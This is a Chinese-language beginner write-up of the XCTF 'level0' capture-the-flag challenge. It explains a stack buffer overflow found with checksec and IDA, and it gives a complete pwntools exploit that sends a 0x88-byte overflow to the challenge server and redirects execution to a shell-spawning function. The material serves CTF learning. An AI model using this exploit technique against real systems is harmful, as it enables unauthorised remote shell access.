PWN入门题目:XCTF攻防世界的level0
使用file、checksec命令查看文件详细信息
这是一个64bit的ELF文件(后面编写EXP需要用到)
从checksec中展示的信息看,该二进制文件只开启了NX(数据执行保护)
这样的话就约等于没设防了(新手题难度)
使用IDA对该文件进行反编译
在主函数发现了一个vulnerable_function函数
双击该函数进行审计
buf数组分配了0x80个字节量,而总读取的是0x200个字节,所以考虑栈溢出
按F5查看该函数伪代码
从伪代码模式看可读性更高,read函数将读取0x200个字节
双击buf数组,查看其栈空间
我们创造的数据需要覆盖:buf数组+返回地址+寄存器
也就是说构造数据字节数应该等于buf+r+s=80+0+8=0x88字节
审计该文件的其他函数
发现函数callsystem(名字很可疑)
双击打开后对该函数进行反编译发现
这个函数的作用就只是返回一个shell,那么我们栈溢出的目标就很明确了
查看该函数的地址:
编写EXP进行漏洞利用
from pwn import *
shell = remote('61.147.171.105','64456') #建立连接
payload = b'a'*0x88 #构造无用数据使栈溢出
payload += p64(0x400596) #64bit文件使用p64并带上callsystem的地址
shell.send(payload) #发送payload
shell.interactive() #与反弹shell交互
拖到linux终端中运行,获取flag